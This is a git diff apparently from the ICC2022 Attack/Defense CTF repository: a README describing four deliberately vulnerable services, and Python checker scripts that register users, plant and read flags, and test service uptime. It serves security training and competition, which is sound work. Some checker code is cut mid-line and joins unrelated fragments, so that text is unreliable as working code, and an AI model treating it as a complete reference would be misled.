diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..4424a86 --- /dev/null +++ b/.gitignore @@ -0,0 +1,173 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +#*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ + +/services/service3/src/cmd_tree.h +/services/service3/src/rpn +/services/service3/src/rpn_with_debug +/services/service3/src/rpn_with_symbols +/services/service3/src/rpn_with_asan +/services/service3/src/cmd_paths.py +/services/service3/src/s_keys.py +/services/service3/src/v_keys.c +/services/service3/src/sk? +/services/service3/src/vk? + +.vscode diff --git a/README.md b/README.md new file mode 100644 index 0000000..3a4a6fa --- /dev/null +++ b/README.md @@ -0,0 +1,48 @@ +# ICC2022 A/D Services + +Attack/Defense services for the International Cybersecurity Challenge 2022 - Athens + +organized by the team of the [CINI - Cybersecurity National Laboratory](https://cybersecnatlab.it) + +

+ + + + + + +

+ +Event coordinator: [Gaspare Ferraro](https://github.com/GaspareG) + +Platform and system administrators: [Giovanni Minotti](https://github.com/Giotino) and [Gaspare Ferraro](https://github.com/GaspareG) + +## Services + +| # | service | store | vulns | port(s) | categories | author(s) | +| :-: | :------------------------------ | :---: | :---: | :----------: | ----------------------- | --------------------------------------------------------------------------------------- | +| 1 | [ClosedSea](/services/service1) | 2 | 5 | 300{3,4} | web / crypto | [@bonaff](https://github.com/RiccardoBonafede) [@drago-96](https://github.com/drago-96) | +| 2 | [CyberUni](/services/service2) | 3 | 8 | 123{4,5,6,7} | rev / web / crypto | [@mr-96](https://github.com/mr-96) [@drago-96](https://github.com/drago-96) | +| 3 | [RPN](/services/service3) | 2 | 9 | 1337 | pwn / pwn | [@zxgio](https://github.com/zxgio) | +| 4 | [Trademark](/services/service4) | 1 | 4 | 5000 | windows / misc / crypto | [@TheNodi](https://github.com/TheNodi) [@mr-96](https://github.com/mr-96) | + +## Checkers & exploits + +See [checkers/](/checkers) and [exploits/](/exploits) + +## Final scoreboard + +![scoreboard](/img/scoreboard.png) + +## Competition data + +- Team info: [team.csv](/data/team.csv) +- Service info: [service.csv](/data/service.csv) +- Flags generated: [flag.csv](/data/flag.csv) +- Stolen flags: [stolen_flags.csv](/data/stolen_flags.csv) +- Team service: [team_service.csv](/data/team_service.csv) +- Checks: [checks.csv](/data/checks.csv) + +## Network diagram + +![network](/img/network.svg) diff --git a/checkers/0/checker.py b/checkers/0/checker.py new file mode 100644 index 0000000..3ff642d --- /dev/null +++ b/checkers/0/checker.py @@ -0,0 +1,320 @@ +#!/usr/bin/env python3 + +# Do not make modification to checklib.py (except for debug), it can be replaced at any time +from string import hexdigits +import checklib +import requests +from service1_common import * +import socketio +import re +import random + +data = checklib.get_data() +action = data['action'] +team_id = data['teamId'] +service_addr = '10.60.' + team_id + '.1' +service_name = 'ClosedSea-1' + +nft_id_regex = re.compile('/view/(.*)\'> 1: + headless_host = 'http://localhost:3000' + team_ip = 'localhost' +else: + headless_host = 'http://headless_team_{}:3000/'.format(data['teamId']) + team_ip = '10.60.' + data['teamId'] + '.1' + +closedsea_baseurl = 'http://{}:3003'.format(team_ip) +minter_baseurl = 'http://{}:3004'.format(team_ip) + +nft_adj = [ +'Candid', +'Canine', +'Capital', +'Carefree', +'Careful', +'Difficult', +'Dizzy', +'Focused', +'Fond', +'Foolhardy', +'Impressive', +'Improbable', +'Meaty', +'Medical', +'Mediocre' +] + +nft_animals = [ +'Albatross', +'Alligator', +'Alpaca', +'Angelfish', +'Armadillo', +'Beaver', +'Bee', +'Beetle', +'Coati', +'Cobra', +'Cockroach', +'Eagle', +'Earwig', +'Echidna', +'Gopher', +'Gorilla', +'Goshawk', +'Lemming', +'Lemur', +'Leopard', +'Squid', +'Squirrel', +'Starfish', +'Starling', +'Wolf', +'Wolverine', +'Wombat', +'Woodcock' +] + +def check_response_ok(resp, status=200, in_resp=False, msg='', sio=False): + + status_check = resp and status == resp.status_code + + in_resp_check = resp and in_resp and in_resp in resp.text + + if not resp or not status_check or not in_resp_check: + msg_debug = resp.text if resp else 'Requests connection failed' + if sio: + sio.disconnect() + checklib.quit( + checklib.Status.DOWN, + msg, + msg_debug + ) + + +def randstr(n, l=False,dictionary=string.ascii_letters): + if l: + n = random.randint(n, l) + return ''.join([random.choice(dictionary) for _ in range(n)]) + +def set_seed(seed): + random.seed(seed) + +def register_user(sess,username, password, key): + URL = closedsea_baseurl + '/register' + + data = { + 'username': username, + 'password': password, + 'public_key': key + } + try: + return sess.post(URL, data=data) + except: + return False + + +def login_user_closedsea(sess, username, password): + URL = closedsea_baseurl + '/login' + + data = { + 'username': username, + 'password': password + } + try: + return sess.post(URL, data=data) + except: + return False + + +def login_user_minter(sess, username, password): + URL = minter_baseurl + '/login.php' + data = { + 'username': username, + 'password': password + } + try: + return sess.post(URL, data=data) + except: + return False + + +def mint(sess, title, data, cost, is_public): + URL = minter_baseurl + '/index.php' + data ={ + 'title': title, + 'data': data, + 'price': cost, + 'public': is_public + } + try: + return sess.post(URL, data=data) + except: + return False + +def logout(sess): + URL = closedsea_baseurl + '/logout' + try: + return sess.get(URL) + except: + return False + +def list_all_nfts(sess): + URL = closedsea_baseurl + '/listing' + pass + +def list_all_nfts_websockets(sess): + pass + +def create_user_cred(): + username = randstr(6,9) + password = randstr(6,9) + return username, password + +def set_rand_ua(sess): + with open('user_agents.txt', 'r') as f: + ua_list = f.readlines() + + sess.headers.update({'User-Agent': random.choice(ua_list)[:-1]}) diff --git a/checkers/0/user_agents.txt b/checkers/0/user_agents.txt new file mode 100644 index 0000000..ff9b336 --- /dev/null +++ b/checkers/0/user_agents.txt @@ -0,0 +1 @@ +python-requests/2.28.0 diff --git a/checkers/1/checker.py b/checkers/1/checker.py new file mode 100644 index 0000000..a1e287c --- /dev/null +++ b/checkers/1/checker.py @@ -0,0 +1,343 @@ +#!/usr/bin/env python3 + +# Do not make modification to checklib.py (except for debug), it can be replaced at any time +from string import hexdigits +import checklib +import requests +from service1_common import * +import socketio +from time import sleep +import re + +data = checklib.get_data() +action = data['action'] +team_id = data['teamId'] +service_addr = '10.60.' + team_id + '.1' +service_name = 'ClosedSea-2' + + +# Check SLA +def check_sla(): + + sess = requests.Session() + set_rand_ua(sess) + username, password = create_user_cred() + username_mint, password_mint = create_user_cred() + user_data = { + 'username': username, + 'password': password + } + + # Because socketio spawns another thread, we have to save the exit informations here. I feel dirty + global status, msg_public, msg_debug + status, msg_public, msg_debug = checklib.Status.ERROR, 'error', 'No exit code provided' + sio = socketio.Client(reconnection_attempts=3) + try: + sio.connect(headless_host) + except: + checklib.quit(checklib.Status.ERROR, + 'Could not check.', 'Headless down') + + nft_data = randstr(10, 20) + + def check_response_ok_global(resp, status_to_check=200, in_resp=False, msg='', sio=False): + global status, msg_public, msg_debug + + status_check = resp and status_to_check == resp.status_code + in_resp_check = resp and in_resp and in_resp in resp.text + + if not status_check or not in_resp_check: + msg_debug = resp.text if resp else 'Requests connection failed' + status, msg_public, msg_debug = checklib.Status.DOWN, msg, msg_debug + sio.disconnect() + quit() + + @sio.event + def ready(): + def check(msg): + global status, msg_public, msg_debug + if not msg or msg['error']: + status, msg_public, msg_debug = checklib.Status.DOWN, 'Website down', 'headless:' + \ + str(msg) + sio.disconnect() + quit() + #checklib.quit(checklib.Status.DOWN, 'Website down.', 'headless:' + str(msg)) + return True + # Sometimes this throws an exception when one of + try: + sio.emit('register', user_data, callback=lambda x: check(x)) + except: + pass + + @sio.event + def user_registered(): + global status, msg_public, msg_debug + # Create a "minter" user, that will mint a dummy nft + resp = register_user(sess, username_mint, password_mint, + randstr(128, dictionary=hexdigits)) + check_response_ok_global( + resp, in_resp=username_mint, msg='Could not register user', sio=sio) + resp = login_user_minter(sess, username_mint, password_mint) + check_response_ok_global( + resp, in_resp='Mint an nft', msg='Could not login user on minter', sio=sio) + + # Mint a dummy NFT + rand_title1 = randstr(1, dictionary=nft_adj) + ' ' + randstr(1, + dictionary=nft_animals) + ' n:' + randstr(2, 8, string.digits) + + resp = mint(sess, rand_title1, nft_data, random.randint(2, 6), 'true') + check_response_ok_global( + resp, in_resp='Check your new NFT!', msg='Minting not working', sio=sio) + + # Retrieve the id of the nft + nft_id_regex = re.compile('/view/(.*)\'> 1: + headless_host = 'http://localhost:3000' + team_ip = 'localhost' +else: + headless_host = 'http://headless_team_{}:3000/'.format(data['teamId']) + team_ip = '10.60.' + data['teamId'] + '.1' + +closedsea_baseurl = 'http://{}:3003'.format(team_ip) +minter_baseurl = 'http://{}:3004'.format(team_ip) + +nft_adj = [ +'Candid', +'Canine', +'Capital', +'Carefree', +'Careful', +'Difficult', +'Dizzy', +'Focused', +'Fond', +'Foolhardy', +'Impressive', +'Improbable', +'Meaty', +'Medical', +'Mediocre' +] + +nft_animals = [ +'Albatross', +'Alligator', +'Alpaca', +'Angelfish', +'Armadillo', +'Beaver', +'Bee', +'Beetle', +'Coati', +'Cobra', +'Cockroach', +'Eagle', +'Earwig', +'Echidna', +'Gopher', +'Gorilla', +'Goshawk', +'Lemming', +'Lemur', +'Leopard', +'Squid', +'Squirrel', +'Starfish', +'Starling', +'Wolf', +'Wolverine', +'Wombat', +'Woodcock' +] + +def check_response_ok(resp, status=200, in_resp=False, msg='', sio=False): + + status_check = resp and status == resp.status_code + + in_resp_check = resp and in_resp and in_resp in resp.text + + if not resp or not status_check or not in_resp_check: + msg_debug = resp.text if resp else 'Requests connection failed' + if sio: + sio.disconnect() + checklib.quit( + checklib.Status.DOWN, + msg, + msg_debug + ) + + +def randstr(n, l=False,dictionary=string.ascii_letters): + if l: + n = random.randint(n, l) + return ''.join([random.choice(dictionary) for _ in range(n)]) + +def set_seed(seed): + random.seed(seed) + +def register_user(sess,username, password, key): + URL = closedsea_baseurl + '/register' + + data = { + 'username': username, + 'password': password, + 'public_key': key + } + try: + return sess.post(URL, data=data) + except: + return False + + +def login_user_closedsea(sess, username, password): + URL = closedsea_baseurl + '/login' + + data = { + 'username': username, + 'password': password + } + try: + return sess.post(URL, data=data) + except: + return False + + +def login_user_minter(sess, username, password): + URL = minter_baseurl + '/login.php' + data = { + 'username': username, + 'password': password + } + try: + return sess.post(URL, data=data) + except: + return False + + +def mint(sess, title, data, cost, is_public): + URL = minter_baseurl + '/index.php' + data ={ + 'title': title, + 'data': data, + 'price': cost, + 'public': is_public + } + try: + return sess.post(URL, data=data) + except: + return False + +def logout(sess): + URL = closedsea_baseurl + '/logout' + try: + return sess.get(URL) + except: + return False + +def list_all_nfts(sess): + URL = closedsea_baseurl + '/listing' + pass + +def list_all_nfts_websockets(sess): + pass + +def create_user_cred(): + username = randstr(6,9) + password = randstr(6,9) + return username, password + +def set_rand_ua(sess): + with open('user_agents.txt', 'r') as f: + ua_list = f.readlines() + + sess.headers.update({'User-Agent': random.choice(ua_list)[:-1]}) diff --git a/checkers/1/user_agents.txt b/checkers/1/user_agents.txt new file mode 100644 index 0000000..ff9b336 --- /dev/null +++ b/checkers/1/user_agents.txt @@ -0,0 +1 @@ +python-requests/2.28.0 diff --git a/checkers/2/authlib.cpython-39-x86_64-linux-gnu.so b/checkers/2/authlib.cpython-39-x86_64-linux-gnu.so new file mode 100755 index 0000000..3b6ed49 Binary files /dev/null and b/checkers/2/authlib.cpython-39-x86_64-linux-gnu.so differ diff --git a/checkers/2/checker.py b/checkers/2/checker.py new file mode 100644 index 0000000..8fc7dfb --- /dev/null +++ b/checkers/2/checker.py @@ -0,0 +1,235 @@ +#!/usr/bin/env python3 + +# Do not make modification to checklib.py (except for debug), it can be replaced at any time +import checklib +import random +import string +import sys +import os +os.environ["PWNLIB_NOTERM"] = "1" + +from pwn import * +from service2_client import Client + +context.timeout = 5 +context.log_level = "error" + +data = checklib.get_data() +action = data['action'] +auth_port = 1234 +store1_port = 1235 +service_name = 'ExamNotes' + +team_id = data['teamId'] +team_addr = '10.60.' + team_id + '.1' + + +def get_random_string(n): + alph = string.ascii_letters + string.digits + return "".join(random.choice(alph) for _ in range(n)) + +# Check SLA + + +def check_sla(): + number_of_notes = random.randint(1, 5) + username = get_random_string(random.randint(10, 16)) + password = get_random_string(random.randint(10, 16)) + note_titles = [get_random_string(random.randint(10, 16)) + for _ in range(number_of_notes)] + note_contents = [get_random_string(random.randint( + 20, 100)) for _ in range(number_of_notes)] + + c = Client(team_addr, auth_port, username, password, + "1") # last param is flagstore id + try: + c.register() + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot register", str(e)) + + try: + c.login() + login_token = c.get_token() + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot get login token from auth", str(e)) + + try: + r = remote(team_addr, store1_port) + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot connect to ExamNotes", str(e)) + + try: + r.recvuntil(b": ") + r.sendline(login_token.encode()) + r.recvline() + assert r.recvline().startswith(b"Successfully authenticated") + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot login via token on ExamNotes", str(e)) + + try: + for i in range(number_of_notes): + r.recvuntil(b'0. Exit\n') + r.sendline(b"1") + r.recvuntil(b": ") + r.sendline(note_titles[i].encode()) + r.recvuntil(b": ") + r.sendline(note_contents[i].encode()) + assert b"added" in r.recvline() + r.close() + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot create a new note on ExamNotes", str(e)) + + try: + r = remote(team_addr, store1_port) + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot connect to ExamNotes", str(e)) + + try: + r.recvuntil(b": ") + r.sendline(login_token.encode()) + r.recvline() + assert r.recvline().startswith(b"Successfully authenticated") + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot login via token on ExamNotes", str(e)) + + try: + for _ in range(random.randint(1, 3)): + if random.randint(0, 1) == 0: + r.recvuntil(b'0. Exit\n') + r.sendline(b"2") + recovered_notes = r.recvlines(number_of_notes) + assert all([note_titles[i].encode() in b"".join( + recovered_notes) for i in range(number_of_notes)]) + else: + r.recvuntil(b'0. Exit\n') + r.sendline(b"3") + r.recvuntil(b": ") + note_id = random.randint(0, number_of_notes-1) + r.sendline(str(note_id).encode()) + assert note_titles[note_id].encode() in r.recvline() + assert note_contents[note_id].encode() in r.recvline() + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot list or read notes on ExamNotes", str(e)) + + checklib.quit(checklib.Status.OK, 'OK') + + +# Put the flag using the flag as the seed for random stuff +def put_flag(): + flag = data['flag'] + + random.seed(int.from_bytes(flag.encode(), "big")) + username = get_random_string(random.randint(10, 16)) + password = get_random_string(random.randint(10, 16)) + + c = Client(team_addr, auth_port, username, password, + "1") # last param is flagstore id + try: + c.register() + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot register", str(e)) + + try: + c.login() + login_token = c.get_token() + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot get login token from auth", str(e)) + + try: + r = remote(team_addr, store1_port) + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot connect to ExamNotes", str(e)) + + try: + r.recvuntil(b": ") + r.sendline(login_token.encode()) + r.recvline() + assert r.recvline().startswith(b"Successfully authenticated") + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot login via token on ExamNotes", str(e)) + + try: + r.recvuntil(b'0. Exit\n') + r.sendline(b"1") + r.recvuntil(b": ") + r.sendline(b"flag") + r.recvuntil(b": ") + r.sendline(flag.encode()) + assert b"added" in r.recvline() + r.close() + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot create a new note on ExamNotes", str(e)) + + checklib.post_flag_id(service_name, team_addr, username) + + # If OK + checklib.quit(checklib.Status.OK, 'OK') + +# Check if the flag still exists, use the flag as the seed for random stuff as for put flag + + +def get_flag(): + + flag = data['flag'] + + random.seed(int.from_bytes(flag.encode(), "big")) + username = get_random_string(random.randint(10, 16)) + password = get_random_string(random.randint(10, 16)) + + c = Client(team_addr, auth_port, username, password, + "1") # last param is flagstore id + try: + c.login() + login_token = c.get_token() + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot get login token from auth", str(e)) + + try: + r = remote(team_addr, store1_port) + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot connect to ExamNotes", str(e)) + + try: + r.recvuntil(b": ") + r.sendline(login_token.encode()) + r.recvline() + assert r.recvline().startswith(b"Successfully authenticated") + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot login via token on ExamNotes", str(e)) + + try: + r.recvuntil(b'0. Exit\n') + r.sendline(b"3") + r.recvuntil(b": ") + note_id = 0 + r.sendline(str(note_id).encode()) + assert b"flag" in r.recvline() + assert flag.encode() in r.recvline() + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot retrieve flag", str(e)) + + checklib.quit(checklib.Status.OK, 'OK') + + +if __name__ == "__main__": + + if action == checklib.Action.CHECK_SLA.name: + check_sla() + elif action == checklib.Action.PUT_FLAG.name: + put_flag() + elif action == checklib.Action.GET_FLAG.name: + get_flag() diff --git a/checkers/2/checklib.py b/checkers/2/checklib.py new file mode 100644 index 0000000..4c573fa --- /dev/null +++ b/checkers/2/checklib.py @@ -0,0 +1,53 @@ +import sys +from enum import Enum +import requests +import os + +TOKEN = 'PRIVATE-TOKEN' + + +class Status(Enum): + OK = 101 + DOWN = 104 + ERROR = 110 + + +class Action(Enum): + CHECK_SLA = 'CHECK_SLA' + PUT_FLAG = 'PUT_FLAG' + GET_FLAG = 'GET_FLAG' + + def __str__(self): + return str(self.value) + + +def get_data(): + data = { + 'action': os.environ['ACTION'], + 'teamId': os.environ['TEAM_ID'], + 'round': os.environ['ROUND'] + } + + if data['action'] == Action.PUT_FLAG.name or data['action'] == Action.GET_FLAG.name: + data['flag'] = os.environ['FLAG'] + + return data + + +def quit(exit_code, comment='', debug=''): + if isinstance(exit_code, Status): + exit_code = exit_code.value + + print(comment) + print(debug, file=sys.stderr) + exit(exit_code) + + +def post_flag_id(service_id, team_id, flag_id): + requests.post('http://flagid:8081/postFlagId', json={ + 'token': TOKEN, + 'serviceId': service_id, + 'teamId': team_id, + 'round': int(os.environ['ROUND']), + 'flagId': flag_id + }) diff --git a/checkers/2/service2_client.py b/checkers/2/service2_client.py new file mode 100644 index 0000000..497c204 --- /dev/null +++ b/checkers/2/service2_client.py @@ -0,0 +1,66 @@ +import authlib +from pwn import * + +context.log_level = "error" + +class Client(): + def __init__(self, server_ip, server_port, username, password, service): + self.server_addr = server_ip + self.server_port = server_port + self.username = username + self.password = password + self.service = service + self.auth_token = None + self.shared_key = None + + def open_connection(self): + s = remote(self.server_addr, self.server_port) + assert s.recvline(False) == b"HELLO" + s.sendline(b"HELLO") + assert s.recvline(False) == b"OK" + return s + + def register(self): + s = self.open_connection() + s.sendline(b"REG") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(self.password.encode()) + resp = s.recvline(False) + s.close() + if resp != b"OK": + return False + return True + + def login(self): + auth = authlib.AuthClient(self.username, self.password) + initial_values = auth.get_starting_values() + s = self.open_connection() + s.sendline(b"AUTH") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(initial_values.encode()) + intermediate_values = s.recvline(False).decode() + final_values = auth.get_final_values(intermediate_values) + s.sendline(final_values.encode()) + self.auth_token = s.recvline(False).decode() + self.shared_key = auth.get_shared_key() + s.close() + return True + + def get_token(self): + token_client = authlib.TicketClient(self.username, self.service, self.auth_token, self.shared_key) + user_token = token_client.get_user_token() + s = self.open_connection() + s.sendline(b"TOKEN") + assert s.recvline(False) == b"OK" + s.sendline(user_token.encode() + b"." + self.auth_token.encode()) + key_token, service_token = s.recvline(False).decode().split(".") + s.close() + return token_client.finalize_token(key_token, service_token) diff --git a/checkers/3/authlib.cpython-39-x86_64-linux-gnu.so b/checkers/3/authlib.cpython-39-x86_64-linux-gnu.so new file mode 100755 index 0000000..3b6ed49 Binary files /dev/null and b/checkers/3/authlib.cpython-39-x86_64-linux-gnu.so differ diff --git a/checkers/3/checker.py b/checkers/3/checker.py new file mode 100644 index 0000000..787ae55 --- /dev/null +++ b/checkers/3/checker.py @@ -0,0 +1,389 @@ +#!/usr/bin/env python3 + +# Do not make modification to checklib.py (except for debug), it can be replaced at any time +import checklib +import random +import string +from hashlib import sha256 +import zlib +import base64 +import json +from Crypto.Cipher import AES +import os +os.environ["PWNLIB_NOTERM"] = "1" + +from pwn import * +from service2_client import Client as AuthClient + +context.timeout = 5 +context.log_level = "error" + +data = checklib.get_data() +action = data['action'] +rd = data['round'] +team_id = data['teamId'] +team_addr = '10.60.' + team_id + '.1' +port = 1236 +auth_port = 1234 +service_name = "EncryptedNotes" + + +def random_string(min, max): + letters = string.ascii_letters + string.digits + return ''.join(random.choice(letters) for i in range(random.randint(min, max))) + + +# Auth stuff +def get_random_creds(): + username = random_string(8, 24) + password = random_string(8, 24) + return username, password + + +def register_random_user(): + try: + username, password = get_random_creds() + c = AuthClient(team_addr, auth_port, username, password, "2") + c.register() + return username, password + except Exception as e: + checklib.quit(checklib.Status.DOWN, + 'Can\'t register user on auth service', str(e)) + + +def get_token(username, password): + try: + c = AuthClient(team_addr, auth_port, username, password, "2") + c.login() + token = c.get_token() + return token + except Exception as e: + checklib.quit(checklib.Status.DOWN, + 'Can\'t get a token from auth service', str(e)) + + +# OT stuff +class Receiver: + def __init__(self, b): + self.b = b + + def round2(self, pk, x): + N, e = pk + n = len(x) + assert n == len(self.b) + + v = [] + k = [] + for i in range(n): + kk = random.randrange(1 << 2048) + k.append(kk) + cur = x[i][self.b[i]] + pow(kk, e, N) + v.append(cur % N) + self.k = k + self.N = N + return v + + def decode(self, c): + n = len(c) + assert n == len(self.b) + + m = [] + for i in range(n): + mm = (c[i][self.b[i]]-self.k[i]) % self.N + m.append(mm) + return m + + +# GC evaluation +VAL_LENGTH = 5 +PAD_LENGTH = 3 + + +def xor(a, b): + return bytes(x ^ y for x, y in zip(a, b)) + + +def H(k): + return sha256(k).digest() + + +def dec(k, x): + k = H(k) + val = xor(k, x) + if val[:PAD_LENGTH] == b"\0"*PAD_LENGTH: + return val[PAD_LENGTH:] + + +def decode_gate(opv, g, ins, to_hex): + if to_hex: + ins = [bytes.fromhex(x) for x in ins] + g = [bytes.fromhex(r) for r in g] + if opv == "INV": + res = ins[0] + elif opv == "XOR": + res = xor(ins[0], ins[1]) + else: + for x in g: + k = b"".join(ins) + val = dec(k, x) + if val is not None: + res = val + break + if to_hex: + return res.hex() + return res + + +def evaluate(garbled_circuit, inputs, wires_out, to_hex=True): + enc_A, enc_B = inputs + vals = enc_A+enc_B+[None]*len(garbled_circuit) + for g in garbled_circuit: + idx, opv, ins, gate = g + k = [vals[i] for i in ins] + cur = decode_gate(opv, gate, k, to_hex) + assert cur is not None + vals[idx] = cur + + n_outs = len(wires_out) + vals_out = vals[-n_outs:] + out = [w.index(v) for v, w in zip(vals_out, wires_out)] + return out + + +# Client +def bytes2bits(b): + bits = ''.join(f'{x:08b}' for x in b) + return list(map(int, bits)) + + +def bits2bytes(arr): + n = len(arr) + assert n % 8 == 0 + nbytes = n // 8 + s = "".join(map(str, arr)) + return int.to_bytes(int(s, 2), nbytes, "big") + + +class Client: + def __init__(self, host, token): + self.r = remote(host, port) + self.r.recvlines(1) + self.r.sendlineafter(b"token: ", token.encode()) + + def set_keyword(self, keyword): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"1") + self.r.sendlineafter(b"secret: ", keyword.encode()) + + def set_public(self, data): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"2") + self.r.sendlineafter(b"text: ", data.encode()) + + def get_public(self, user): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"4") + self.r.sendlineafter(b"user: ", user.encode()) + return self.r.recvline(False).decode() + + def run_function(self, choice, user, my_in): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"3") + self.r.sendlineafter(b"user: ", user.encode()) + self.r.recvlines(3) + self.r.sendlineafter(b"> ", str(choice).encode()) + + data = self.r.recvline(False) + tmp = zlib.decompress(base64.b64decode(data)) + obj = json.loads(tmp.decode()) + circ = obj["circuit"] + + N, e, x = obj["ot"]["N"], obj["ot"]["e"], obj["ot"]["x"] + in_B = bytes2bits(my_in) + assert len(in_B) == 128 + + if choice == 2: + in_B = in_B[::-1] + receiver = Receiver(in_B) + v = receiver.round2((N, e), x) + vdict = json.dumps({"v": v}) + self.r.sendline(vdict.encode()) + data = self.r.recvline(False) + obj = json.loads(data.decode()) + c = obj["c"] + m = receiver.decode(c) + + enc_B = [f'{x:010x}' for x in m] + + res = evaluate(circ["gates"], (circ["enc_A"], + enc_B), circ["wires_out"]) + if choice == 2: + res = res[::-1] + return bits2bytes(res) + + +# SLA functions +def sla_user_setkeyword(): + try: + username, password = register_random_user() + token = get_token(username, password) + c = Client(team_addr, token) + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Can\'t login', str(e)) + try: + key = random_string(16, 16) + rdata = random_string(32, 32) + c.set_keyword(key) + c.set_public(rdata) + return username, key + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Can\'t put data', str(e)) + + +def sla_user_echo(target_user, key): + try: + username, password = register_random_user() + token = get_token(username, password) + c = Client(team_addr, token) + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Can\'t login', str(e)) + try: + rdata = os.urandom(16) + res = c.run_function(1, target_user, rdata) + if res != rdata: + checklib.quit(checklib.Status.DOWN, 'Echo function not working', + f"sla_user_echo input={rdata.hex()} output={res.hex()}") + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Can\'t run echo function', str(e)) + + +def sla_user_encrypt(target_user, key): + try: + username, password = register_random_user() + token = get_token(username, password) + c = Client(team_addr, token) + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Can\'t login', str(e)) + try: + rdata = os.urandom(16) + #print("running GC") + res = c.run_function(2, target_user, rdata) + cipher = AES.new(key.encode(), AES.MODE_ECB) + pt = cipher.decrypt(res) + if pt != rdata: + checklib.quit(checklib.Status.DOWN, 'Encrypt function not working', + f"sla_user_encrypt input={rdata.hex()} key={key} output={res.hex()}") + except Exception as e: + checklib.quit(checklib.Status.DOWN, + 'Can\'t run encrypt function', str(e)) + + +def sla_user_readpublic(target_user, key): + try: + username, password = register_random_user() + token = get_token(username, password) + c = Client(team_addr, token) + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Can\'t login', str(e)) + try: + res = c.get_public(target_user) + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Can\'t read public data', str(e)) + + +# Check SLA +def check_sla(): + + user, key = sla_user_setkeyword() + slas = [sla_user_echo, sla_user_encrypt, sla_user_readpublic] + + f = random.choice(slas) + f(user, key) + + # If OK + checklib.quit(checklib.Status.OK, 'OK') + + +# Put the flag using the flag as the seed for random stuff +def put_flag(): + flag = data["flag"] + try: + random.seed("123"+flag+"789") + key = random_string(16, 16) + username, password = register_random_user() + token = get_token(username, password) + c = Client(team_addr, token) + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Can\'t login', str(e)) + + try: + #print("putting flag", username, key) + c.set_keyword(key) + c.set_public(flag) + 